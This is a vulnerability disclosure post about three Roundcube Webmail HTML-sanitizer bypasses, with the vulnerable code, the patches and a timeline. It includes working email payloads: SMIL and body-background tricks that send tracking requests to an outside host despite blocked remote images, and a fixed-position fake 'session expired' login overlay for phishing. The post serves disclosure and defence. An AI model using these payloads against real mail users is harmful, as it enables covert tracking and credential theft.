TL;DR: Three more bypasses in Roundcube’s HTML sanitizer. SMIL animation values and by attributes pass through without URI validation. The body background attribute gets dropped into url() unquoted, which allows CSS injection. And position: fixed !important bypasses the fixed-position mitigation for full-viewport phishing overlays. Fixed in 1.5.14, 1.6.14, and 1.7-rc5.
Vulnerability information
| Field | Value |
|---|---|
| Vendor | Roundcube |
| Product | Roundcube Webmail |
| Affected versions | < 1.5.14, 1.6.x < 1.6.14, 1.7-rc1 through 1.7-rc4 |
| CVE | Pending |
| Disclosure date | 2026-03-18 |
Going back
After the feImage bypass was patched, the sanitizer still felt fairly fragile. Same patterns everywhere: hand-maintained allowlists, attribute routing that assumed it caught everything. I was bored and didn’t feel like doing anything else, so I went poking at it again.1
Three more things came out of it.
SMIL animations: values and by
The feImage bug was about an element whose href went through the wrong code path. This one is about attributes that skip the code path entirely.
SMIL animation elements (<animate>, <set>, <animateTransform>) can target any attribute on their parent element. The to and from attributes set start and end values, but SMIL also has values (semicolon-separated keyframes) and by (relative offset). They all do the same thing: set the value of the target attribute.
wash_attribs() handles to and from correctly by resolving attributeName and routing the value through the appropriate URI check:
// in SVG to/from attribs may contain anything, including URIs
if ($key == 'to' || $key == 'from') {
$key = strtolower((string) $node->getAttribute('attributeName'));
$key = trim(preg_replace('/^.*:/', '', $key));
if ($key && !isset($this->_html_attribs[$key])) {
$key = null;
}
}
This swaps the attribute name for the resolved attributeName, so to="https://httpbin.org" on <animate attributeName="href"> gets validated as if it were an href value. The right idea.
But values and by aren’t in that if check. They’re both in the $html_attribs allowlist, so they pass the initial gate and fall through to the generic pass-through:
} elseif ($key) {
$out = $value;
}
No URI validation. The value goes into the output unchanged.
There’s a second layer to this. After CVE-2024-373832, the sanitizer blocks SMIL animations targeting attributeName="href":
} elseif (in_array($tagName, ['animate', 'animatecolor', 'set', 'animatetransform'])
&& self::attribute_value($node, 'attributename', 'href')
) {
Only href. But CSS properties like mask and cursor also load external resources when their values contain URLs. An <animate attributeName="mask" values="url(//httpbin.org/track)"> passes through because the element-level block doesn’t fire.
Combined: the values attribute bypasses attribute-level validation, and targeting mask instead of href bypasses element-level blocking. Both checks miss.
Proof of concept
Zero-click open tracking. An invisible SVG off-screen:
<svg width="1" height="1" style="position:absolute;left:-9999px">
<rect width="1" height="1" fill="white">
<animate attributeName="mask"
values="url(//httpbin.org/track?uid=victim@test.com)"
fill="freeze" dur="0.001s" />
</rect>
</svg>
Open the email in Roundcube with “Block remote images” enabled. The browser fires a GET to the attacker’s URL.3
SMIL’s keyTimes attribute enables timed beacons, measuring how long a recipient views the email:
<svg width="1" height="1" style="position:absolute;left:-9999px">
<rect width="1" height="1">
<animate attributeName="mask"
values="none;url(//httpbin.org/ping?t=1);url(//httpbin.org/ping?t=2)"
dur="5s" repeatCount="indefinite" />
</rect>
</svg>
Body backgrounds: unquoted url()
This one is in the application layer, not the sanitizer library.
When Roundcube renders an email, washtml_callback() processes the <body> element’s attributes and converts them to inline CSS on the output container <div>. The background attribute4 becomes background-image:
case 'background':
if (preg_match('/^([^\s]+)$/', $value, $m)) {
$style['background-image'] = "url({$value})";
}
break;
The value runs through wash_uri() before this point, which allows data:image/* URIs. Then it gets interpolated into url() without quotes.
A ) inside the data URI terminates the url() function early, and everything after it is parsed as additional CSS properties on the container <div>. Because the injected CSS is inline style (not inside a <style> block), it bypasses mod_css_styles() and its URL callback entirely.
Proof of concept
<body background="data:image/png,x);background:url(//httpbin.org/track?uid=victim@test.com">
The sanitizer produces this inline style on the container:
background-image: url(data:image/png,x);background:url(//httpbin.org/track?uid=victim@test.com)
The ) in data:image/png,x) closes the original url(). The injected background:url(//...) loads the external resource.
CSS position: fixed !important
Roundcube converts position: fixed to position: absolute in sanitize_css_block() to prevent elements from breaking out of the message container:
} elseif ($property == 'position' && strcasecmp($value, 'fixed') === 0) {
$value = 'absolute';
}
strcasecmp compares the entire trimmed value against "fixed". Append !important and it’s no longer an exact match.5 The check fails, and "fixed !important" flows through the generic token validation, where explode_css_property_block() splits it into ['fixed', '!important']. Both tokens pass the allowlist individually, and the output reassembles as position: fixed !important.
Proof of concept
<style>
.overlay {
position: fixed !important;
top: 0; left: 0;
width: 100%; height: 100%;
background: white;
z-index: 99999;
display: flex;
align-items: center;
justify-content: center;
}
</style>
<div class="overlay">
<div style="border:1px solid #ccc;border-radius:8px;padding:30px;
max-width:400px;text-align:center;font-family:Arial,sans-serif">
<h2>Session Expired</h2>
<p>Your Roundcube session has expired due to inactivity.</p>
<a href="https://httpbin.org/phish/login"
style="background:#0066cc;color:white;padding:10px 20px;
text-decoration:none;border-radius:4px">Sign In Again</a>
</div>
</div>
The overlay covers the preview pane iframe. When the message is opened in a new window (no iframe), it covers the full browser viewport with no visible Roundcube chrome. A “session expired” dialog pointing to an attacker-controlled login page.
Impact
The SMIL and body background bypasses defeat “Block remote images” to enable email tracking: open confirmation, IP logging, browser fingerprinting. The SMIL variant can also measure read time through timed beacon sequences.
The position: fixed bypass is a phishing vector. A full-viewport overlay can impersonate Roundcube’s own login prompt.
Remediation
All three issues are fixed in 1.5.14, 1.6.14, and 1.7-rc5. See the Roundcube advisory.
SMIL animations
The fix (82ab5ec) replaces the inline element-level check with a new is_insecure_tag() method that blocks SMIL animation elements targeting href, or mask/cursor when the values attribute contains url():
private static function is_insecure_tag($node)
{
$tagName = strtolower($node->nodeName);
if (!in_array($tagName, ['animate', 'animatecolor', 'set', 'animatetransform'])) {
return false;
}
if (self::attribute_value($node, 'attributeName', '/^href$/i')) {
return true;
}
return self::attribute_value($node, 'attributeName', '/^(mask|cursor)$/i')
&& self::attribute_value($node, 'values', '/url\(/i');
}
The fix blocks the entire element when it detects a dangerous combination rather than adding values and by to the attribute-level validation. The attribute_value() helper was also changed from exact string matching to regex matching to support this.
Body backgrounds
The fix (fd0e981) adds validation in wash_uri() that rejects data URIs unless they’re properly base64-encoded:
// At this point we allow only valid base64 images
if (stripos($type, 'base64') === false || preg_match('|[^0-9a-z\s/+]|i', $matches[2])) {
return '';
}
The crafted data:image/png,x) payload fails the first check: the type is png, not png;base64, so stripos returns false and the URI is rejected. The second check guards base64-encoded payloads against smuggled characters like ). The unquoted url() interpolation in washtml_callback() is unchanged, but the injection vector is cut off at the URI validation layer.
CSS position
The fix (226811a) changes the position: fixed check from exact match to substring match:
} elseif ($property == 'position' && stripos($value, 'fixed') !== false) {
$value = 'absolute';
}
stripos catches "fixed !important" because "fixed" is a substring. The value gets replaced with "absolute" before it reaches token validation.
Update to 1.5.14, 1.6.14, or 1.7-rc5.
Timeline
| Date | Event |
|---|---|
| 2026-03-07 | Reported to Roundcube |
| 2026-03-09 | Triaged |
| 2026-03-18 | 1.5.14, 1.6.14, and 1.7-rc5 released |
| 2026-03-18 | This post |
Most of the bugs on this blog started with “I was bored.” Bored hackers are a threat model. ↩︎
Exploited in the wild against a CIS government organization in June 2024. On CISA’s KEV catalog. Roundcube XSS bugs keep ending up in targeted campaigns. Winter Vivern used a different one as a zero-day against European government entities in 2023. ↩︎
Tested on Firefox. Chrome deprecated SMIL in some contexts, but Firefox still evaluates it fully. The
maskproperty withurl()values triggers a resource load during SVG rendering. ↩︎Deprecated since HTML 4.01, listed as a non-conforming feature in the WHATWG Living Standard. Every browser still renders it, and email HTML is stuck in the 90s, so sanitizers have to handle it. ↩︎
Two extra words. That’s all it took. ↩︎